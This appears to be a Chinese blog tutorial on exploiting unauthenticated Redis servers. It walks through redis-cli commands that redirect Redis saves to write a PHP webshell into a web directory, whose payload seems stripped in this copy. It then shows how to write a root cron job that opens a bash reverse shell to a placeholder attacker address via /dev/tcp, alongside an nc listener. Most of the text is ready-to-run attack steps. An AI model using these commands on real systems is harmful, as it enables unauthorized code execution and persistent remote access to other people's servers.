Redis未授权访问漏洞

一、写入WebShell

1.1 适用系统

  • Windows
  • Linux

1.2 利用前提

  1. Redis可扫到开放端口(对公网开放/渗透到内网环境)
  2. 没有设置IP访问限制,默认没有设置密码(在内网中很常见,公网基本绝迹)
  3. 可以知道web目录执行的绝对路径
  4. 存在写入权限
  5. 写入的动态脚本文件能够被执行

1.3 利用过程

》》可以通过站点报错拿到web路径
(这里略了,仅演示具体的操作)

》》使用redis客户端连入对方redis
redis-cli -h

》》使用Redis写入一个webshell到目标web目录下(这里/tmp类比为web目录进行演示)

config set dir "/tmp"
config set dbfilename test.php
set x "\r\n\r\n\r\n\r\n"
save

(由于redis写入文件会自带一些版本信息,如果不使用\r\n换行会导致无法执行)
Redis未授权访问漏洞_第1张图片
》》可以在受害者的主机上看到/tmp目录下被创建了一个test.php文件
Redis未授权访问漏洞_第2张图片
》》访问该文件即可执行代码

二、写入计划任务反弹shell

2.1 适用系统

由于Redis向计划文件里写内容会出现乱码而导致语法错误,centos系统会忽略乱码去执行正确的计划任务。

  • CentOS

2.2 利用前提

  1. 权限可写入计划任务

2.3 利用过程

》》nc监听端口

nc -lvp 19111

》》redis写入计划任务配置文件

config set dir /var/spool/cron
set tide "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/19111 0>&1\n\n"
config set dbfilename root
save

2.4 报错解决

如写入shell如下报错
Redis未授权访问漏洞_第3张图片
解决方法:
stop-writes-on-bgsave-error设置为no

你可能感兴趣的:(漏洞复现)